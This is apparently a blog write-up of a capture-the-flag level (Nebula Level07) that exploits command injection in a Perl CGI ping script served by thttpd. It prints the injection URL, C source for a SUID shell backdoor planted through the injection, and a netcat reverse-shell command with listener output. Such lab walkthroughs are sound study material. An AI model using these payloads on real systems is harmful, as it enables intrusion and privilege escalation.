In Level07 we are given the source code of a perl script:

#!/usr/bin/perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub ping {
$host =$_[0];

@output = ping -c 3 $host 2>&1; foreach$line (@output) { print "$line"; } print("</pre></body></html>"); } # check if Host set. if not, display normal page, etc ping(param("Host"));  It looks like its vulnerable to command injection on line 12. Bit how and where is it deployed. Along with the script code we are given the following file: [email protected]:/home/flag07$ cat thttpd.conf
# /etc/thttpd/thttpd.conf: thttpd configuration file

# This file is for thttpd processes created by /etc/init.d/thttpd.
# Commentary is based closely on the thttpd(8) 2.25b manpage, by Jef Poskanzer.

# Specifies an alternate port number to listen on.
port=7007

# Specifies a directory to chdir() to at startup. This is merely a convenience -
# you could just as easily do a cd in the shell script that invokes the program.
dir=/home/flag07

# Do a chroot() at initialization time, restricting file access to the program's
# current directory. If chroot is the compiled-in default (not the case on
# Debian), then nochroot disables it. See thttpd(8) for details.
nochroot
#chroot

# Specifies a directory to chdir() to after chrooting. If you're not chrooting,
# you might as well do a single chdir() with the dir option. If you are
# chrooting, this lets you put the web files in a subdirectory of the chroot
# tree, instead of in the top level mixed in with the chroot files.
#data_dir=

# Don't do explicit symbolic link checking. Normally, thttpd explicitly expands
# any symbolic links in filenames, to check that the resulting path stays within
# the original document tree. If you want to turn off this check and save some
# CPU time, you can use the nosymlinks option, however this is not
# recommended. Note, though, that if you are using the chroot option, the
# symlink checking is unnecessary and is turned off, so the safe way to save
# those CPU cycles is to use chroot.

# Do el-cheapo virtual hosting. If vhost is the compiled-in default (not the
# case on Debian), then novhost disables it. See thttpd(8) for details.
#vhost
#novhost

# Use a global passwd file. This means that every file in the entire document
# tree is protected by the single .htpasswd file at the top of the tree.
# Otherwise the semantics of the .htpasswd file are the same. If this option is
# set but there is no .htpasswd file in the top-level directory, then thttpd
# proceeds as if the option was not set - first looking for a local .htpasswd
# file, and if that doesn't exist either then serving the file without any
# password. If globalpasswd is the compiled-in default (not the case on Debian),
# then noglobalpasswd disables it.
#globalpasswd
#noglobalpasswd

# Specifies what user to switch to after initialization when started as root.
user=flag07

# Specifies a wildcard pattern for CGI programs, for instance "**.cgi" or
# "/cgi-bin/*". See thttpd(8) for details.
cgipat=**.cgi

# Specifies a file of throttle settings. See thttpd(8) for details.
#throttles=/etc/thttpd/throttle.conf

# Specifies a hostname to bind to, for multihoming. The default is to bind to
# all hostnames supported on the local machine. See thttpd(8) for details.
#host=

# Specifies a file for logging. If no logfile option is specified, thttpd logs
# via syslog(). If logfile=/dev/null is specified, thttpd doesn't log at all.
#logfile=/var/log/thttpd.log

# Specifies a file to write the process-id to. If no file is specified, no
# process-id is written. You can use this file to send signals to thttpd. See
# thttpd(8) for details.
#pidfile=

# Specifies the character set to use with text MIME types.
#charset=iso-8859-1

# Specifies a P3P server privacy header to be returned with all responses. See
# http://www.w3.org/P3P/ for details. Thttpd doesn't do anything at all with the
# string except put it in the P3P: response header.
#p3p=

# Specifies the number of seconds to be used in a "Cache-Control: max-age"
# header to be returned with all responses. An equivalent "Expires" header is
# also generated. The default is no Cache-Control or Expires headers, which is
# just fine for most sites.
#max_age=


So it looks like the port 7007 has a http daemon serving /home/flag07 and that the daemon is run as flag07 user…. thats basically all we need. If we connect to the server, we can ping any host like:

{% img /images/pinglocalhost.png 565 168 %}

Now all we need to do to get the flag is accessing index.cgi?Host=localhost%3bgetflag:

{% img /images/pinglocalhostgetflag.png 571 187 %}

Now, if we want to get a shell we can create a program like:

#include <unistd.h>
#include <stdlib.h>

int main()
{
int euid = geteuid();

setresuid(euid, euid, euid);
system("sh");
return 0;
}


Compile it and move it to /tmp:

[email protected]:~$gcc shell.c -o shell [email protected]:~$ cp shell /tmp/shell


Now make the flag07 user to set the SUID flag on it by using the command injection to run the following commands:

; cp /tmp/shell /home/flag07/shell; chmod +s /home/flag07/shell


Now inject the above command (Dont forget to URL encode it) and look for your backdoot at /home/flag07

[email protected]:/home/flag07$ls -la total 36 drwxr-x--- 2 flag07 level07 4096 Nov 21 09:52 . drwxr-xr-x 43 root root 4096 Nov 20 2011 .. -rw-r--r-- 1 flag07 flag07 220 May 18 2011 .bash_logout -rw-r--r-- 1 flag07 flag07 3353 May 18 2011 .bashrc -rw-r--r-- 1 flag07 flag07 675 May 18 2011 .profile -rwxr-xr-x 1 root root 368 Nov 20 2011 index.cgi -rwsr-sr-x 1 flag07 flag07 7241 Nov 21 09:52 shell -rw-r--r-- 1 root root 3719 Nov 20 2011 thttpd.conf [email protected]:/home/flag07$ ./shell
sh-4.2$id uid=992(flag07) gid=1008(level07) egid=992(flag07) groups=992(flag07),1008(level07)  Other way to do it is using netcat. Just run a nc listening on any port for your flag07 shell: [email protected]:/home/flag07$ nc -nvlp 6666
listening on [any] 6666 ...


Now use the command injection to run connect to your listening netcat and send it the reverse shell:

; nc localhost 6666 -e /bin/sh

[email protected]:/home/flag07\$ nc -nvlp 6666
listening on [any] 6666 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 43686
id
uid=992(flag07) gid=992(flag07) groups=992(flag07)